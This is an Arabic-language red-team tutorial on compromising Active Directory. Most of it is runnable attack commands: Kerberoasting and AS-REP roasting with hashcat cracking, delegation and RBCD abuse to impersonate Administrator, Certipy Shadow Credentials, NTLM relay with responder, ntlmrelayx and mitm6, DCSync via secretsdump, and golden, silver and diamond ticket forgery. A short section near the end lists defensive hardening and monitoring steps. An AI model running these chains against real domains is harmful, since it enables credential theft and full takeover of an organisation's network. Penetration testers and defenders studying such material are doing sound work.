Active Directory Attacks — من جوّه بقى
ADCS و Delegation و NTLM Relay و Shadow Credentials
ليه Active Directory هو الجائزة الكبرى؟
- طب يا حضرتك، أنا داخل بـ user عادي.. هكسر DA إزاي من غير exploit؟
يا مستجد. الـ DA مش بيتكسر بـ exploit. بيتكسر بـ misconfig قاعد سنين محدش فاكره. الـ Domain Controller هو مفتاح المملكة، واللي معاه Domain Admin أو الـ krbtgt هو فعلياً مالك كل جهاز وكل حساب. الدرس ده عن السكك اللي بتوصلك للمفتاح ده — مش الكلام النظري، السكك الحقيقية اللي بتشتغل في 2026.
- يشغل SharpHound -c All في أول 5 دقائق ويولّع الـ EDR كله.
- يعمل Kerberoast على كل حساب SPN في الدومين دفعة واحدة. الـ SOC هيتفرج عليك من 4769 events.
- يلاقي ESC1 في الـ ADCS ويستعجل ياخد Domain Admin قبل ما يفهم القالب بيعمل إيه.
- ينسى يدوّر krbtgt مرتين بعد ما يخلص ويفتكر إن "اتنظفت". فاكر نفسه عمل clean-up — هو بس عمل هدنة.
ارسم شجرة الهجوم بـ BloodHound
إنت داخل دومين فيه 1200 يوزر و 90 سيرفر. هتفحص كل ACL بإيدك؟ هتقعد تكتب net user /domain لحد ما الشمس تطلع؟ لا. أول حاجة بيعملها أي red teamer جوه الدومين: يرسم العلاقات.
BloodHound + SharpHound بيلموا الـ ACLs والـ sessions وعضويات الجروبات كلها، وبيحولوها لجراف تقدر تمشي فيه بعينك من اليوزر بتاعك لحد Domain Admin. في حادثة Conti ransomware اللي اتسربت في 2021، الـ playbook بتاعهم كان حرفياً: SharpHound أول حاجة، وبعدين Cypher queries، وبعدين تنفيذ. مش عبقرية — منهجية.
استعلامات Cypher تستحق الحفظ
MATCH p=shortestPath((u:User {name:"ME@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
MATCH (u:User {hasspn:true}) WHERE u.pwdlastset < (date().epochSeconds - 31536000) RETURN u.name
MATCH (u)-[:GenericAll|WriteOwner|WriteDacl]->(t) RETURN u,tترسانة هجمات Kerberos كاملة
1) Kerberoasting
GetUserSPNs.py corp.local/user:Pass1 -dc-ip 10.0.0.10 -request -outputfile spns.hash
hashcat -m 13100 spns.hash rockyou.txt -r rules/best64.rule2) AS-REP Roasting
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10
hashcat -m 18200 asrep.hash rockyou.txt3) Unconstrained Delegation
Rubeus.exe monitor /interval:1 /nowrap
SpoolSample.exe DC1 PWNED-HOST
PetitPotam.py -d corp.local -u user -p Pass1 PWNED DC14) Constrained Delegation Abuse (S4U)
getST.py -spn cifs/target.corp.local -impersonate Administrator corp.local/svc:Pass1
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target.corp.local5) Resource-Based Constrained Delegation (RBCD)
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write corp.local/user:Pass1
addcomputer.py corp.local/user:Pass1 -computer-name FAKE$ -computer-pass Fake1
getST.py -spn cifs/TARGET.corp.local -impersonate Administrator corp.local/FAKE$:Fake1ADCS — الجبهة الأحدث والأخطر (ESC1 → ESC15)
Active Directory Certificate Services فيه قوالب شهادات سهل جداً يحصل فيها سوء تكوين. أداة Certipy بتلاقي الخروم دي وبتستغلها أوتوماتيك من غير ما تحتاج تعرق.
الـ ESC اللي هتقابلهم في الميدان
- ESC1 — قالب بيسمح بـ SAN + Client Authentication. أنت بتطلب شهادة باسم الأدمن وخلاص.
- ESC2 — Any Purpose EKU أو EKU فاضي.
- ESC4 — GenericAll على القالب نفسه = تعدّل عليه وتحوّله لقالب ضعيف بإيدك.
- ESC8 — NTLM relay لواجهة CA web enrollment.
- ESC11 — واجهة RPC من غير EPA.
- ESC13/15 — جديدة، بتلعب على issuance policies والـ schema.
Shadow Credentials — تمشي من غير ما تكسر باسورد
لو معاك GenericWrite على حساب، تقدر تضيف له مفتاح msDS-KeyCredentialLink وتعمل مصادقة باسمه عن طريق PKINIT. الحساب باسوورده زي ما هو، إنت بس دخلت من باب جانبي.
certipy shadow auto -u user@corp.local -p Pass1 -account victimNTLM Relay — الهجمة اللي مش بتموت
responder -I eth0 -wrf
ntlmrelayx.py -t ldaps://dc -smb2support --delegate-access
ntlmrelayx.py -t ldap://dc --shadow-credentials --shadow-target victim$
mitm6 -d corp.local
ntlmrelayx.py -6 -wh fake-wpad -t ldaps://dc --delegate-access- فعّل SMB Signing + LDAP Signing & Channel Binding (EPA). دي البديهيات.
- اقفل LLMNR / NBT-NS / mDNS. مفيش مبرر سنة 2026 إنهم شغالين.
- اقفل IPv6 لو مش مستخدم، أو ركّب DHCPv6 guard.
- راقب 4624 type 3 + 4768/4769 الغريبة. الباترن هو اللي هيكشفهم.
DCSync والتذاكر الذهبية والفضية والماسية
secretsdump.py -just-dc corp.local/admin:Pass1@DC1
ticketer.py -nthash <KRBTGT_NTLM> -domain-sid S-1-5-21-... -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/administrator@DC1
ticketer.py -nthash <SVC_NTLM> -spn cifs/target -domain corp.local user
Rubeus.exe diamond /tgtdeleg /ticketuser:admin /ticketuserid:500 /groups:512الخلاصة الناشفة
الـ AD مش بيتكسر بـ exploit واحد. بيتكسر بسلسلة قرارات إدارية اتأجلت سنين.
الـ junior بيقول: "أنا عملت Kerberoast، يبقى أنا معدّي".
المحترف بيقول: "أنا قعدت أرسم الجراف 4 ساعات، وعرفت إن الطريق من user عادي لـ DA طوله 3 خطوات. الباقي تنفيذ".
لو إنت blue team: شغّل BloodHound على نفسك قبل المهاجم. لو لقيت طريق قصير، يبقى الفجوة موجودة. ما تنتظرش حد يثبتها لك.
اكتبها على سطح مكتبك:
كل يوم ما تشغلش BloodHound على دومينك، أنت بتتفرج مش بتدافع.